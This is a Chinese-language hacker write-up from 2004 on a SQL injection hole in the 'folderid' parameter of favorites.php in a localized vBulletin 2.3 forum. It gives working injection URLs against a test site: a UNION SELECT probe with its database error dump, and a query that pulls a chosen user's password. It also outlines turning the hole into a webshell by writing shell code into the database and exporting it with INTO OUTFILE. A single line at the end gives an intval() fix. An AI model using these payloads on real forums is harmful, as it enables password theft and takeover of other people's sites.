文章作者:[I.T.S]Jambalaya
希望SystEm32的眼睛早日恢复健康
这是很早发现的漏洞了,本来想写篇文章投稿的,后来手懒就没写。VBB的好名声就被咱们汉化版中的一个变量给毁了,呵呵。现在好像已经很少人用vbb2.3了,HOHO~~其实漏洞很简单。就是一个php的sql injection。简单并不代表没有危害,危害还是蛮大的~~~
问题出在了vbb仙境汉化版的favorites.php身上,这个文件的folderid变量并没有作任何过滤,导致恶意攻击者可以提交畸形语句来得到数据库中的任何东西,更甚者可以控制整个网站。安全的代码各有各的特色,不安全的代码却大致相同,源代码这里不写了,其实就是一个没过滤得变量放到了sql语句中,写出来反而占版面,倒不如这样简洁明了。
以下是我对一个站点测试的结果:
http://www.fakename.net/bbs/favorites.php?action删除文件夹&folderid=18 union select * from admin
这里看到了报错结果:
===================================================================
<!-- 数据库发生错误于 vBulletin 2.3.0:
Invalid SQL: select folder FROM favorites_folders where userid=4171 AND folderid=18 union select * from admin
mysql 错误: Table 'vbb230.admin' doesn't exist
mysql 错误号: 1146
日期: Thursday 01st of April 2004 09:49:04 AM
脚本:
http://www.fakename.net/bbs/favorites.php?action=删除文件夹&folderid=18 union select * from admin
======================================================================
这里看到是Table 'vbb230.admin' doesn't exist。
提交如下语句:
http://www.fakename.net/bbs/favorites.php?action删除文件夹&folderid=20 union select passdword from user where userid=4171/*
userid是你要跑的人的id号,密码就自己暴露了。
至于控制网站,把shell写到相关数据结构中,然后用into outfile将数据结构中的数据写入指定文件就可以形成webshell,相关技术请自行查阅2002年版本McGraw写的WebHacking.pdf(另一本也提到了好像叫HackproofingMySQL.pdf)
建议:
$folderid=intval($folderid);
过滤一下就可以了。